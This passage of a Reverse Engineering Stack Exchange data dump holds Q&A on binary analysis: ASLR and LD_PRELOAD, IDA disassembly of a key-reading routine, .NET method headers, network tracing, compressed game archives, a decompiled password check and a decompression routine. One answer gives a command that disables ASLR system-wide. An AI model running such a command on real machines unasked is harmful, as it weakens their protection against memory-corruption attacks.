ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nC:\\&gt; \n</code></pre>\n"
    },
    {
        "Id": "15971",
        "CreationDate": "2017-08-01T02:22:22.093",
        "Body": "<p>I am working on a project where I need to use <code>LD_PRELOAD</code> to load some libraries into the memory space.</p>\n\n<p>It's like:</p>\n\n<pre><code> LD_PRELOAD=\"./libapp.so\" ./my_app\n</code></pre>\n\n<p>Due to certain reasons (I am actually working on some binary hacking), I must know <strong>the memory address</strong> (not a symbol) of certain functions (let's say, <code>foo</code>) in <code>libapp.so</code> and instrument the binary code of <code>my_app</code> before execution.</p>\n\n<p>However, due to <code>ASLR</code> (Address Space Layout Randomization), each time <code>libapp.so</code> would be loaded into different memory address, and I am unable to know the memory address of <code>foo</code> before execution.</p>\n\n<p>I am thinking to somehow intercept the loading time, readout the memory address of <code>libapp.so</code>, perform some instrumentation on <code>my_app</code> with the memory address of <code>foo</code>, and then load <code>my_app</code> into the memory space.</p>\n\n<p>So here is my question: how to intercept the loading process and acquire the memory address of <code>libapp.so</code>?</p>\n",
        "Title": "Dumpout Process Memory Layout During Loading Time",
        "Tags": "|instrumentation|binary-editing|",
        "Answer": "<p>I think that one option could be to use <code>ptrace</code>, for example you can use <code>_dl_open()</code> instead of <code>LD_PRELOAD</code>. Look at this example:</p>\n\n<ul>\n<li><a href=\"http://www.ars-informatica.com/Root/Code/2010_04_18/LinuxPTrace.aspx\" rel=\"nofollow noreferrer\">http://www.ars-informatica.com/Root/Code/2010_04_18/LinuxPTrace.aspx</a></li>\n</ul>\n\n<p>Another option could be to use <code>gdb</code> for do that, for example you have the possibility to set a pending breakpoint to foo and then run the program.</p>\n\n<p>Another option could be turn off the ASLR, you can do it using the <code>/proc/sys/kernel/randomize_va_space</code></p>\n\n<p>To disable it you can run:</p>\n\n<pre><code>echo 0 | sudo tee /proc/sys/kernel/randomize_va_space\n</code></pre>\n"
    },
    {
        "Id": "15978",
        "CreationDate": "2017-08-01T21:02:24.720",
        "Body": "<p>I am currently analysing a regular Windows x86 executable (-> protected mode) and I came across several far call instructions in the disassembly. I know that far calls, for example, are used in WOW64 to switch from 32bit to 64bit mode (by a far call to code segment 0x33, see <a href=\"http://waleedassar.blogspot.de/2012/07/wow64-user-mode-system-calls-hooking.html\" rel=\"nofollow noreferrer\">here</a>). However, I can not make any sense of the far calls in that executable. They look like this:</p>\n\n<pre><code>&lt;somewhere near 0x00123400&gt;:  9a 34 12 cd ab 34 12    call   0x1234:0xabcd1234\n</code></pre>\n\n<p>The code segemt is in most cases the same as the lower 16 bits of the call address. At the same time, the code segment is rougly the same as the middle (!) 16 bits of the instruction's own address (as illustrated above). The call addresses always point to unmapped/invalid memory areas in the code segment of the process itself.</p>\n\n<p>How can I identify the call target of these far calls? Is it even possible/pratical to have hard coded code segments? Or could it be an alignment issue of the disassembler?</p>\n\n<p><strong>Edit:</strong> For example, the first far call in the image occurs in a chunk of code starting at a 16-byte boundary (identified by leading int3 instructions). The far call comes 2 bytes after the (only) return instruction in that chunk (some 2000 bytes after its start). The offset of the far call instruction is used as an indirect jump offfset like this:</p>\n\n<pre><code>jmp    DWORD PTR [eax*4+&lt;far call offset&gt;]\n</code></pre>\n",
        "Title": "Idenifying far call target in protected mode (x86 assembly)",
        "Tags": "|disassembly|x86|call|",
        "Answer": "<p>it seems the \"code\" you're trying to disassemble is not actually code but just the table of offsets for the indirect jump (likely a switch implementation). Try interpreting it as a list of 4-byte flat addresses. E.g. :</p>\n\n<pre><code>.text:667013BC 03C                 cmp     ebx, 7 ; SWITCH ; switch 8 cases\n.text:667013BF 03C                 ja      loc_667015AB ; SWITCH ; jumptable 667013C5 default case\n.text:667013C5 03C                 jmp     ds:off_667060CC[ebx*4] ; switch jump\n [...]\n.rdata:667060CC     off_667060CC    dd offset loc_667015DE ; jump table for switch statement\n.rdata:667060CC                     dd offset loc_667015D6  \n.rdata:667060CC                     dd offset loc_667015EE\n.rdata:667060CC                     dd offset loc_667015E6\n.rdata:667060CC                     dd offset loc_667015F6\n.rdata:667060CC                     dd offset loc_667015A5\n.rdata:667060CC                     dd offset loc_66701663\n.rdata:667060CC                     dd offset loc_66701658\n</code></pre>\n"
    },
    {
        "Id": "15987",
        "CreationDate": "2017-08-03T07:07:58.243",
        "Body": "<p>I am working on reverse engineering an algorithm and I am using IDA. This is how the stack definition looks:</p>\n\n<pre><code>var_41E= word ptr -41Eh\ns= byte ptr -412h\nvar_401= byte ptr -401h (v23)\nvar_400= byte ptr -400h (v22)- IDA shows as db 835\nvar_BD= word ptr -0BDh\nvar_13= byte ptr -13h (v25)\nvar_12= byte ptr -12h\nvar_11= byte ptr -11h\nvar_10= byte ptr -10h\nvar_F= byte ptr -0Fh\nvar_E= byte ptr -0Eh\nvar_D= byte ptr -0Dh\narg_0= dword ptr  8\ndest= dword ptr  0Ch\narg_8= dword ptr  10h\n</code></pre>\n\n<p>There is this code block:</p>\n\n<pre><code>loc_1B41AA:\nmov     al, [ebp+edx+var_12]\nxor     [ebp+edx+var_400], al\ninc     edx\ncmp     edx, 4\njnz     short loc_1B41AA\n</code></pre>\n\n<p>Which translates to:</p>\n\n<pre><code>do\n{\n  v23[v11] ^= *(&amp;v26 + v11);\n  ++v11;\n}\nwhile ( v11 != 4 );\n</code></pre>\n\n<p>The problem I'm having is, this v23 is never used. I was thinking perhaps this is a pointer to another spot in memory, but I'm unable to find this.</p>\n\n<p>The next section of code reads:</p>\n\n<pre><code>do\n{\n  *(&amp;v25 + v11) ^= *(&amp;v22 + v11);\n  ++v11;\n}\nwhile ( v11 != 5 );\n</code></pre>\n\n<p>Which again, v22 is never used anywhere else. Nor is v25. </p>\n\n<p>I feel like I'm missing something obvious. I have been able to reversed previous formula's so I just don't understand why this seems to allude me. I was thinking maybe this is some trash code to throw people off, but I'm not sure because I've replicated the rest of the process and the results aren't right. If I need to provide additional information, let me know. </p>\n\n<p>Here is the entire code block for better reference:\nv9 is a 8 byte buffer. byte 0 is not used by the algorithm. I see \"*(&amp;v25 + v11) ^= *(&amp;v22 + v11)\" which seems like it could be altering this array? I suck at stack related things...</p>\n\n<pre><code>v26 = *(_BYTE *)(v9 + 1) ^ 0x42;\nv27 = *(_BYTE *)(v9 + 2) ^ 0x4F;\nv28 = *(_BYTE *)(v9 + 3) ^ 0x4C;\nv29 = *(_BYTE *)(v9 + 4) ^ 0x37;\nv30 = *(_BYTE *)(v9 + 5) ^ 0x37;\nv10 = *(_BYTE *)(v9 + 6);\nv11 = 0;\nv31 = v10 ^ 0x36;\ndo\n{\n  v23[v11] ^= *(&amp;v26 + v11);\n  ++v11;\n}\nwhile ( v11 != 4 );\nLOBYTE(v11) = 1;\ndo\n{\n  *(&amp;v25 + v11) ^= *(&amp;v22 + v11);\n  ++v11;\n}\nwhile ( v11 != 5 );\n\n\n\n.text:001B4166                 mov     esi, [ebp+arg_0]\n.text:001B4169                 mov     edx, [esi+120h]\n.text:001B416F                 add     esp, 10h\n.text:001B4172                 mov     al, [edx+1]\n.text:001B4175                 xor     eax, 42h\n.text:001B4178                 mov     [ebp+var_12], al\n.text:001B417B                 mov     al, [edx+2]\n.text:001B417E                 xor     eax, 4Fh\n.text:001B4181                 mov     [ebp+var_11], al\n.text:001B4184                 mov     al, [edx+3]\n.text:001B4187                 xor     eax, 4Ch\n.text:001B418A                 mov     [ebp+var_10], al\n.text:001B418D                 mov     al, [edx+4]\n.text:001B4190                 xor     eax, 37h\n.text:001B4193                 mov     [ebp+var_F], al\n.text:001B4196                 mov     al, [edx+5]\n.text:001B4199                 xor     eax, 37h\n.text:001B419C                 mov     [ebp+var_E], al\n.text:001B419F                 mov     al, [edx+6]\n.text:001B41A2                 xor     edx, edx\n.text:001B41A4                 xor     eax, 36h\n.text:001B41A7                 mov     [ebp+var_D], al\n.text:001B41AA\n.text:001B41AA loc_1B41AA:                             ; CODE XREF: USBIO::ReadDS1995KeyData(uchar *,ushort)+243j\n.text:001B41AA                 mov     al, [ebp+edx+var_12]\n.text:001B41AE                 xor     [ebp+edx+var_400], al\n.text:001B41B5                 inc     edx\n.text:001B41B6                 cmp     edx, 4\n.text:001B41B9                 jnz     short loc_1B41AA\n.text:001B41BB                 mov     dl, 1\n.text:001B41BD\n.text:001B41BD loc_1B41BD:                             ; CODE XREF: USBIO::ReadDS1995KeyData(uchar *,ushort)+256j\n.text:001B41BD                 mov     al, [ebp+edx+var_401]\n.text:001B41C4                 xor     [ebp+edx+var_13], al\n.text:001B41C8                 inc     edx\n.text:001B41C9                 cmp     edx, 5\n.text:001B41CC                 jnz     short loc_1B41BD\n.text:001B41CE                 xor     ecx, ecx\n.text:001B41D0\n.text:001B41D0 loc_1B41D0:                             ; CODE XREF: USBIO::ReadDS1995KeyData(uchar *,ushort)+283j\n.text:001B41D0                 cmp     ecx, 11h\n.text:001B41D3                 jbe     short loc_1B41DA\n.text:001B41D5                 cmp     ecx, 15h\n.text:001B41D8                 jbe     short loc_1B41F2\n.text:001B41DA\n.text:001B41DA loc_1B41DA:                             ; CODE XREF: USBIO::ReadDS1995KeyData(uchar *,ushort)+25Dj\n.text:001B41DA                 mov     edx, 6\n.text:001B41DF                 mov     eax, ecx\n.text:001B41E1                 mov     esi, edx\n.text:001B41E3                 xor     edx, edx\n.text:001B41E5                 div     esi\n.text:001B41E7                 mov     al, [ebp+edx+var_12]\n.text:001B41EB                 xor     [ebp+ecx+s], al\n.text:001B41F2\n.text:001B41F2 loc_1B41F2:                             ; CODE XREF: USBIO::ReadDS1995KeyData(uchar *,ushort)+262j\n.text:001B41F2                 inc     ecx\n.text:001B41F3                 cmp     ecx, 400h\n.text:001B41F9                 jnz     short loc_1B41D0\n.text:001B41FB                 xor     esi, esi\n.text:001B41FD                 lea     ecx, [ebp+s]\n.text:001B4203                 xor     edx, edx\n</code></pre>\n",
        "Title": "IDA Pro - Stack variable only used in one place?",
        "Tags": "|ida|",
        "Answer": "<p>that code is referencing a byte pointer inside a structure  you need to define a structure in ida assign it members (it references 120 so your structure size should be > 120)  and then define the bytepointer member and re analyze your program ida should now provide a better pseudo code </p>\n\n<p>here is a small c code that could generate the code in assembly and its ida counter part posted as demo</p>\n\n<p>src code as follows compiled and linked with vs 2015 </p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;windows.h&gt;\ntypedef struct _MYSTRUCT {\n    DWORD memberone[72];\n    PCHAR  membertwo;\n}Mystruct , *PMystruct;\nvoid docall(PMystruct argone) {\n    char zo[8];\n// disassembly refers to 2 byte in the string passed by addr @(edx+1)   \n    zo[0] = argone-&gt;membertwo[1] ^ 13;\n    zo[1] = argone-&gt;membertwo[2] ^ 37;\n    zo[2] = argone-&gt;membertwo[3] ^ 94;\n    zo[3] = argone-&gt;membertwo[4] ^ 94; \n    zo[4] = argone-&gt;membertwo[5] ^ 13;\n    zo[5] = argone-&gt;membertwo[6] ^ 37;\n    zo[6] = argone-&gt;membertwo[7] ^ 94;\n    zo[7] = argone-&gt;membertwo[8] ^ 94;\n        for(int i =0; i&lt;8;i++)\n        {\n            printf (\"%c\",zo[i]);\n        }\n}\nint main(void) {\n    Mystruct teststruct;\n    PCHAR mystr = \"Oe@22e@22\";\n    teststruct.membertwo = mystr;\n    docall(&amp;teststruct);\n    return 0;\n}\n</code></pre>\n\n<p>you can observe a striking similarity to the disassembly you edited in </p>\n\n<pre><code>.text:00401001 ; int __cdecl docall(Mystruct *argone)\n.text:00401001 docall          proc near               ; CODE XREF: main+17p\n.text:00401001\n.text:00401001 var_C           = byte ptr -0Ch\n.text:00401001 var_4           = dword ptr -4\n.text:00401001 argone          = dword ptr  8\n.text:00401001\n.text:00401001                 push    ebp\n.text:00401002                 mov     ebp, esp\n.text:00401004                 sub     esp, 0Ch\n.text:00401007                 mov     eax, __security_cookie\n.text:0040100C                 xor     eax, ebp\n.text:0040100E                 mov     [ebp+var_4], eax\n.text:00401011                 mov     eax, [ebp+argone]\n.text:00401014                 push    esi\n.text:00401015                 mov     ecx, [eax+Mystruct.membertwo]\n.text:0040101B                 mov     al, [ecx+1]\n.text:0040101E                 xor     al, 0Dh\n.text:00401020                 mov     [ebp+var_C], al\n.text:00401023                 mov     al, [ecx+2]\n.text:00401026                 xor     al, 25h\n.text:00401028                 mov     [ebp+var_C+1], al\n.text:0040102B                 mov     al, [ecx+3]\n.text:0040102E                 xor     al, 5Eh\n.text:00401030                 mov     [ebp+var_C+2], al\n.text:00401033                 mov     al, [ecx+4]\n.text:00401036                 xor     al, 5Eh\n.text:00401038                 mov     [ebp+var_C+3], al\n.text:0040103B                 mov     al, [ecx+5]\n.text:0040103E                 xor     al, 0Dh\n.text:00401040                 mov     [ebp+var_C+4], al\n.text:00401043                 mov     al, [ecx+6]\n.text:00401046                 xor     al, 25h\n.text:00401048                 mov     [ebp+var_C+5], al\n.text:0040104B                 mov     al, [ecx+7]\n.text:0040104E                 xor     al, 5Eh\n.text:00401050                 mov     [ebp+var_C+6], al\n.text:00401053                 mov     al, [ecx+8]\n.text:00401056                 xor     al, 5Eh\n.text:00401058                 xor     esi, esi\n.text:0040105A                 mov     [ebp+var_C+7], al\n.text:0040105D\n.text:0040105D loc_40105D:                             ; CODE XREF: docall+72j\n.text:0040105D                 movzx   eax, [ebp+esi+var_C]\n.text:00401062                 push    eax\n.text:00401063                 push    offset asc_43B1A0 ; \"%\"\n.text:00401068                 call    printf\n.text:0040106D                 inc     esi\n.text:0040106E                 pop     ecx\n.text:0040106F                 pop     ecx\n.text:00401070                 cmp     esi, 8\n.text:00401073                 jl      short loc_40105D\n.text:00401075                 mov     ecx, [ebp+var_4]\n.text:00401078                 xor     ecx, ebp\n.text:0040107A                 pop     esi\n.text:0040107B                 call    __security_check_cookie\n.text:00401080                 mov     esp, ebp\n.text:00401082                 pop     ebp\n.text:00401083                 retn\n.text:00401083 docall          endp\n</code></pre>\n\n<p>find and convert the var a,b,c,x,y,.... to a proper sized array so that \ninstead of var a, var b ida would show varx+1 , varx+2 etc</p>\n\n<p>insert or define a structure of proper size </p>\n\n<p>edit the function and set its function type (from a possible int to Mystruct *) using the above define struct</p>\n\n<p>re analyze the program if you have hexrays redo the decompiling to see a fresh pseudo code should be much better than your present *x+*y+*z = *v/<em>t</em>-infinity </p>\n\n<p>the code is xorring a specific portion(400 bytes) of the input with gaps in between (11h and 15h) </p>\n"
    },
    {
        "Id": "15989",
        "CreationDate": "2017-08-03T09:39:37.593",
        "Body": "<p>If I'm looking at a binary compiled with VC++ in a hex editor and I want to identify the start of functions - I can look for the hex \"55 8B\" - which is a common function prolog.</p>\n\n<p>Is there something equivalent with .net CIL? I.e. is there a hex pattern I can look for to identify the start of functions raw?</p>\n\n<p>The application here is to look for shared code between malware samples.</p>\n",
        "Title": "Do .NET functions have function prologs?",
        "Tags": "|assembly|hex|.net|",
        "Answer": "<p>There is no real prolog in IL code because it does not need to manage the stack, save clobbered registers, or do any other standard bookkeeping necessary in the native code. </p>\n\n<p>However, the bytecode itself is preceded by the <em>method header</em>, and those have a limited number of possibilities. From the book <a href=\"https://books.google.be/books?id=Xv_0AwAAQBAJ&amp;pg=PA190&amp;lpg=PA190\" rel=\"noreferrer\"><em>.NET IL Assembler</em></a>:</p>\n\n<blockquote>\n  <h2>Method Header Attributes</h2>\n  \n  <p>The RVA value (if it is nonzero) of a Method record points to the\n  method body. Two types of method headers\u2014fat and tiny\u2014are defined in\n  CorHdr.h. The first two bits of the header indicate its type: bit 10\n  stands for the tiny format, and bit 11 stands for the fat format. </p>\n  \n  <p>[...] </p>\n  \n  <p>A tiny method header is only 1 byte in size, with the first two\n  (least significant) bits holding the type\u201410\u2014and the six remaining\n  bits holding the method IL code size in bytes. A method is given a\n  tiny header if it has neither local variables nor managed exception\n  handling, if it works fine with the default evaluation stack depth of\n  8 slots, and if its code size is less than 64 bytes.  A fat header is\n  12 bytes in size and has the structure described in Table 10-1. The\n  fat headers must begin at 4-byte boundaries. Figure 10-4 shows the\n  structures of both tiny and fat method headers.</p>\n</blockquote>\n\n<p>So if you take some .NET binaries, look up method RVAs in the metadata and go to that RVA in the binary, you can collect some patterns of headers and use them to find bytecode in the binary. (although I would suggest just using metadata in the first place - it lists locations of all legitimate methods in the binary).</p>\n"
    },
    {
        "Id": "16004",
        "CreationDate": "2017-08-04T16:43:39.530",
        "Body": "<p>I need to extract the IP that a certain application is using to receive and/or send data, is there any tool or software that would do this for me ? or any simple way without needing to dig into the application calls ?</p>\n",
        "Title": "Any tool for finding IP that a process use/access?",
        "Tags": "|tools|process|callstack|address|",
        "Answer": "<h2>Linux</h2>\n\n<p>As @Nirlzr correctly mentioned, <code>netstat -ape | grep &lt;proc_name/pid&gt;</code> will show you the active connections of a process. It might be just enough for you but there are some cases where it would not. </p>\n\n<p><code>netstat</code> has some blind spots -- it only shows connections at a certain point in time. Therefore, connections which closed quickly and every connection which was closed before or started after the execution of <code>netstat</code> will obviously not be shown.  </p>\n\n<p>A solution for this is to use <code>strace</code> which can help you monitor the connections which created by a process.</p>\n\n<p>To start a process and monitor its connections:<br>\n<code>strace -f -e trace=network -s 10000 &lt;process [arg1] [arg2] [...]&gt;</code></p>\n\n<p>To monitor an already existing process:<br>\n<code>strace -p &lt;pid&gt; -f -e trace=network -s 10000</code><br>\n<em>if you don't know its PID use <code>pidof &lt;processname&gt;</code></em></p>\n\n<p>Then use some <code>grep</code> magic to print only the IP addresses:<br>\n<code>strace -f -e trace=network &lt;process [args...]&gt; 2&gt;&amp;1 | grep -oP 'connect.*inet_addr\\(\"\\K[^\"]+'</code>  </p>\n\n<hr>\n\n<h2>Windows</h2>\n\n<p>In windows you also can use <code>netstat</code> or the improved version of it <a href=\"https://technet.microsoft.com/en-us/library/hh826153(v=wps.630).aspx\" rel=\"noreferrer\"><code>Get-NetTCPConnection</code></a> via <code>powershell</code>. But both have the blind spot aforementioned.  </p>\n\n<p>Two recommended solutions for it are:  </p>\n\n<ul>\n<li><a href=\"https://blogs.technet.microsoft.com/netmon/p/downloads/\" rel=\"noreferrer\">Network Monitor</a> by Microsoft</li>\n<li><a href=\"http://www.nirsoft.net/utils/tcp_log_view.html\" rel=\"noreferrer\">TcpLogView</a> by Nirsoft</li>\n</ul>\n\n<p>Both have the ability to monitor connections as they open and a nice GUI to show it.</p>\n"
    },
    {
        "Id": "16010",
        "CreationDate": "2017-08-05T14:40:52.980",
        "Body": "<p>So I'm currently trying to analyze a resource archive file of an old game.</p>\n\n<p><strong>What I got so far</strong></p>\n\n<ul>\n<li>The file is supposed to represent a \"virtual drive\", the format is called VDRV. This means there are paths listed with offsets and sizes.</li>\n<li>Header structure is 64 bytes for the game identification (magic number + a whole lot of 0x00), then a uint32 for total file size, then a uint32 for the offset where the first block of data ends</li>\n<li>Data follows, the first block takes up more than 90% of archive size. This is where the resources have to be located. This seems to be ciphered/encrypted.</li>\n<li>What is left is what I call the \"Resource Table\" - a chain of either 64 or 120 bytes long blocks until the end of file. I believe this is where the paths are registered</li>\n</ul>\n\n<p>So far, so good. However, this is where it get's tricky. The first twelve bytes of each of those blocks are readable, they are always three uint32.</p>\n\n<ol>\n<li>Length of the block including this int (either 64 or 120)</li>\n<li>Some offset, this seems to link the blocks in a LinkedList style (actually proved that using a small program I wrote).</li>\n<li>Offset of the last 4 bytes of this block.</li>\n</ol>\n\n<p>And this is where I'm currently stuck, since the rest seems to be encrypted/ciphered data. I dumped the data from the 64 and 120 long blocks seperately, without those twelve \"header\" bytes. Each block is seperated by line break.</p>\n\n<ul>\n<li><a href=\"http://paste.ubuntu.com/25247256/\" rel=\"nofollow noreferrer\">Long Blocks</a></li>\n<li><a href=\"http://paste.ubuntu.com/25247255/\" rel=\"nofollow noreferrer\">Small Blocks</a></li>\n</ul>\n\n<p>Now there are obviously some repeated patterns here, so I'm thinking that it might be some XOR-ish cipher, though I haven't been able to figure out a key or even a structure.</p>\n\n<p><strong>What I expect to find in this data</strong></p>\n\n<ul>\n<li>Two uint32, offset and size</li>\n<li>A string path</li>\n<li>Unused space filled with 0x00</li>\n</ul>\n\n<p>Also, I know that these (partial) strings should be in there somewhere in some way or another (got those from the executable):</p>\n\n<pre><code>data\n../../../data/g\ng/img/inv_Lf._img\ng/img/inv_Rt._img\ng/img/inv_All._img\ng/img/mcUse._img\ng/img/mcTalk._img\ng/img/mcTake._img\ng/img/mcLook._img\ng/img/mcArrow._img\ng/img/fntOtherSpeakers._img\ng/img/fntBig._img\ng/img/fntWhite._img\ng/img/fntYellow._img\ng/img/fntGray._img\n</code></pre>\n\n<p>That is all I have been able to figure out up to now. Any help in figuring this out would be <em>much</em> appreciated!</p>\n\n<p>Thank you for your time!</p>\n\n<p><strong>EDIT:</strong> Posted the binary in the comments</p>\n",
        "Title": "Need help with binary file analysis",
        "Tags": "|binary-analysis|",
        "Answer": "<p>The binary seems to be composed of blocks of <code>zlib</code> compressed data.</p>\n<pre><code>$ binwalk -B vdrv.dat \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n76            0x4C            Zlib compressed data, best compression\n410855        0x644E7         Zlib compressed data, best compression\n411415        0x64717         Zlib compressed data, best compression\n411833        0x648B9         Zlib compressed data, best compression\n739843        0xB4A03         Zlib compressed data, best compression\n740261        0xB4BA5         Zlib compressed data, best compression\n943653        0xE6625         Zlib compressed data, best compression\n944071        0xE67C7         Zlib compressed data, best compression\n1342964       0x147DF4        Zlib compressed data, best compression\n1343382       0x147F96        Zlib compressed data, best compression\n1715439       0x1A2CEF        Zlib compressed data, best compression\n1715857       0x1A2E91        Zlib compressed data, best compression\n&lt;-snip-&gt;\n</code></pre>\n<p><code>binwalk</code> treats the following bytes as <code>zlib</code> signatures:</p>\n<pre><code>#0    beshort        0x7801        Zlib header, no compression\n0    beshort        0x789c        Zlib compressed data, default compression\n0    beshort        0x78da        Zlib compressed data, best compression\n0    beshort        0x785e        Zlib compressed data, compressed\n</code></pre>\n<p>Entropy plot:</p>\n<p><a href=\"https://i.stack.imgur.com/uGEQJ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/uGEQJ.png\" alt=\"Entropy plot\" /></a></p>\n<p>When the compressed data at offset <code>4C</code> is decompressed, the result is a binary blob with some image signatures and string data:</p>\n<pre><code> $ binwalk 4C\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n89            0x59            JPEG image data, JFIF standard 1.02\n119           0x77            TIFF image data, big-endian, offset of first image directory: 8\n413           0x19D           JPEG image data, JFIF standard 1.02\n6169          0x1819          Copyright string: &quot;Copyright Flag&quot;\n6800          0x1A90          JPEG image data, JFIF standard 1.02\n</code></pre>\n<br>\n<pre><code>Adobe Photoshop 7.0\n2004:10:25 15:02:26\nAdobe_CM\n4Photoshop 3.0\nResolution\nFX Global Lighting Angle\nFX Global Altitude\nPrint Flags\nCopyright Flag\nJapanese Print Flags\nColor Halftone Settings\nColor Transfer Settings\nURL overrides\nICC Untagged Flag\nLayer ID Generator Base\nNew Windows Thumbnail\nVersion compatibility info\nJPEG Quality\n@3$%&amp;C49\n#L#|AJ74N\nM&gt;5..=l5\n/;t&gt;q~{z\n6.r%G60L\n&lt;-snip-&gt;\n</code></pre>\n<p>The presence of readable ASCII strings seems to confirm that the data is compressed and was successfully decompressed. With that being said, <code>binwalk</code> detects roughly 1900 <code>zlib</code> compressed data blocks, with some false positives detected throughout the file. In addition, not all of the compressed blocks may be detected; when I used <a href=\"http://www.wxhexeditor.org/\" rel=\"nofollow noreferrer\">wxHexEditor</a> to search for byte <code>0x78DA</code>, more than 3000 matches were found. Either that or <code>binwalk</code> augments its signature scan with additional information or heuristics that I am not aware of to reduce false positives.</p>\n<p><a href=\"https://i.stack.imgur.com/OHE5C.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OHE5C.png\" alt=\"Search results\" /></a></p>\n<p>The search results differ from the output of the signature scan.</p>\n"
    },
    {
        "Id": "16012",
        "CreationDate": "2017-08-05T19:05:05.023",
        "Body": "<p>Below is a part of a code that I reversed with repy2exe and I want to understand what it does and especially how to decode the value in the \"secret\" variable:</p>\n\n<pre><code>using = [\n    'Mg==\\n',\n    'MTA1\\n',\n    'Nzg=\\n',\n    'ODI=\\n',\n    'NzM=\\n',\n    'Njg=\\n',\n    'Nzk=\\n',\n    'OTg=\\n',\n    'ODg=\\n',\n    'Njc=\\n',\n    'Njg=\\n',\n    'ODM=\\n',\n    'MTk=\\n',\n    'MTc=\\n',\n    'MTY=\\n',\n    'MjI=\\n']\nsecret = 'BZh91AY&amp;SY\\xf2\\xbfIg\\x00\\x00\\x01\\x89\\x80\\x05\\x002\\x00\\x08\\x00 \\x00!\\x80\\x0c\\x01[6\\xe2\\xeeH\\xa7\\n\\x12\\x1eW\\xe9,\\xe0'\npas = raw_input('Please Enter The Password:')\na = ''\nfor i in range(len(pas)):\n    a += pas[i]\n\ncoun = 0\nwin = 16 \n</code></pre>\n",
        "Title": "Can anyone help me identify and decode this string?",
        "Tags": "|disassembly|binary-analysis|python|entropy|",
        "Answer": "<p>Although the code is clearly incomplete, some things can be guessed:</p>\n\n<p>1) The strings ending with <code>==</code> are most likely base64-encoded (<a href=\"https://en.wikipedia.org/wiki/Base64\" rel=\"nofollow noreferrer\">Base64</a> uses <code>=</code> for padding). Let's try to decode them.</p>\n\n<p><code>&gt;&gt;&gt;x = [a.decode('base64') for a in using]</code><br>\n<code>'2', '105', '78', '82', '73', '68', '79', '98', '88', '67', '68', '83', '19', '17', '16', '22']</code></p>\n\n<p>So they decode to string representations of some numbers. Not sure if this means anything, we need to see how they're used.</p>\n\n<p>2) The <code>BZ</code> sequence hints at <a href=\"https://en.wikipedia.org/wiki/Bzip2\" rel=\"nofollow noreferrer\">Bzip2</a>. We can try to decompress it as such:</p>\n\n<pre><code>&gt;&gt;&gt; import bz2\n&gt;&gt;&gt; bz2.decompress(secret)\n'base64'\n</code></pre>\n\n<p>And we're back to square one.</p>\n"
    },
    {
        "Id": "16014",
        "CreationDate": "2017-08-06T05:57:58.480",
        "Body": "<p>Does anyone know how to change the font size in immunity debugger? The font option under Options -> Appearance -> Font doesn't seem to change anything and just resets whenever you restart the program.</p>\n",
        "Title": "Changing the font in immunity debugger?",
        "Tags": "|immunity-debugger|",
        "Answer": "<p>I solved it like this:</p>\n\n<ul>\n<li>after loading a program the panes are filled with data</li>\n<li>right-click in the top left pane and a menu will appear</li>\n<li>from this menu choose appearence --> font(all) --> the font you want (the \"OEM fixed font\" works for me)</li>\n</ul>\n"
    },
    {
        "Id": "16021",
        "CreationDate": "2017-08-06T17:22:41.570",
        "Body": "<p>I've reversed the following decompression algorithm from a game. It appears to be some variant of <a href=\"https://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77\" rel=\"noreferrer\">LZ77</a>, however none of the descriptions of variants seem quite close enough what I've got. Is this a specific flavor of LZ77, and if not, how would I go about creating an equivalent compression method? The files have no header.</p>\n\n<pre><code>unsigned int decompress(uint8_t *decompressed, uint8_t *compressed)\n{\n    uint32_t distance, length, i, j;\n    uint8_t temp, *compressed_ptr = compressed,\n        *decompressed_ptr = decompressed, *backwards_ptr = NULL;\n\n    while (1)\n    {\n        temp = *(compressed_ptr++);\n        length = (temp &amp; 7) + 1;\n        distance = temp &gt;&gt; 3;\n\n        if (distance == 0x1E)\n            distance = *(compressed_ptr++) + 0x1E;\n        else if (distance &gt; 0x1E)\n        {\n            distance += *compressed_ptr;\n            distance += (*(++compressed_ptr) &lt;&lt; 8) + 0xFF;\n            compressed_ptr++;\n            if (distance == 0x1011D)\n                length--;\n        }\n\n        if (distance != 0)\n        {\n            memcpy(decompressed_ptr, compressed_ptr, distance);\n            decompressed_ptr += distance;\n            compressed_ptr += distance;\n        }\n\n        for (i = length; i &gt; 0; i--)\n        {\n            temp = *(compressed_ptr++);\n            length = temp &amp; 7;\n            distance = temp &gt;&gt; 3;\n\n            if (length == 0)\n            {\n                length = *(compressed_ptr++);\n                if (length == 0)\n                {\n                    return (uintptr_t)decompressed_ptr -\n                        (uintptr_t)decompressed;\n                }\n                length += 7;\n            }\n\n            if (distance == 0x1E)\n                distance = *(compressed_ptr++) + 0x1E;\n            else if (distance &gt; 0x1E)\n            {\n                distance += *compressed_ptr;\n                distance += (*(++compressed_ptr) &lt;&lt; 8) + 0xFF;\n                compressed_ptr++;\n            }\n\n            backwards_ptr = decompressed_ptr - distance - 1;\n            for (j = length; j &gt; 0; j--)\n                *(decompressed_ptr++) = *(backwards_ptr++);\n        }\n    }\n}\n</code></pre>\n",
        "Title": "What compression algorithm is this?",
        "Tags": "|decompress|",
